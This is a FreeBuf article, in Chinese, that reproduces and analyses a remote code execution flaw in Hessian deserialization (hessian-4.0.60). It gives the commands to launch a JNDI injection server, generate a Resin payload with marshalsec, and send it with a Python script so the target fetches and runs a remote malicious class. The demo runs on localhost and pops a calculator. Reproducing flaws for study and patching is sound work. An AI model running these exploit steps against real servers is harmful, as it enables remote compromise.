freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Hessian反序列化RCE漏洞复现及分析
2020-01-14 09:00:15

Hessian是一个轻量级的RPC框架。它基于HTTP协议传输,使用Hessian二进制序列化,对于数据包比较大的情况比较友好。

Hessian反序列化类似Java反序列化,可导致RCE,POC好像2017年就公开了,但是最新版本hessian-4.0.60.jar,经过测试也存在反序列化RCE问题。

使用marshalsec项目工具(https://github.com/mbechler/marshalsec)可生成利用payload,包括SpringCompAdv,Resin, ROME, XBean

下面使用Resin payload复现Hessian反序列化RCE漏洞

一、搭建测试环境

测试环境使用最新jar包

将HessianTest.war放到tomcat/webapp/目录下并启动tomcat

访问服务器地址http://127.0.0.1:8080/HessianTest/hessian,返回如下页面则说明环境正常

二、启动JNDI利用工具

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar是某大佬写得JNDI注入利用工具,项目地址https://github.com/welk1n/JNDI-Injection-Exploit

编译后JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

执行命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 127.0.0.1

-C为需要执行的命令 -A为监听地址

三、生成payload

marshalsec工具地址https://github.com/mbechler/marshalsec

编译后的marshalsec-0.0.3-SNAPSHOT-all.jar

执行命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://127.0.0.1:8180/ ExecTemplateJDK7>hession

将在当前目录生成hession的payload

注意:http://127.0.0.1:8180/ExecTemplateJDK7 为 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具启动后生成的恶意代码地址

四、发送payload到hessian服务器

使用hessian.py 发送序列化的payload到服务器

执行命令:

python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian

可以看到服务器已经去JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar上下载恶意类并执行弹出计算器

五、分析

使用hession的web项目需要配置web.xml,映射com.caucho.hessian.server.HessianServlet之相应的路径

Java客户端可以很方便的调用服务器上的方法,如下

查看com.caucho.hessian.server.HessianServlet的代码

service方法处理客户端发来的http请求,调用

调用HessianSkeleton的invoke方法,将从客户端发来的数据流中读取对象

看代码里面好像没有什么黑白名单过滤机制

通过抓取请求包,分析,构造请求包,将marshalsec工具生成的Resion payload发送给服务器

下面是构造请求包的hessian.py代码

利用图

 这是发送给Hessain服务器的请求包

所有工具打包地址

https://github.com/21superman/Hessian-Deserialize-RCE

*本文作者:21superman,转载请注明来自FreeBuf.COM

# 漏洞 # rce # Hessian
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者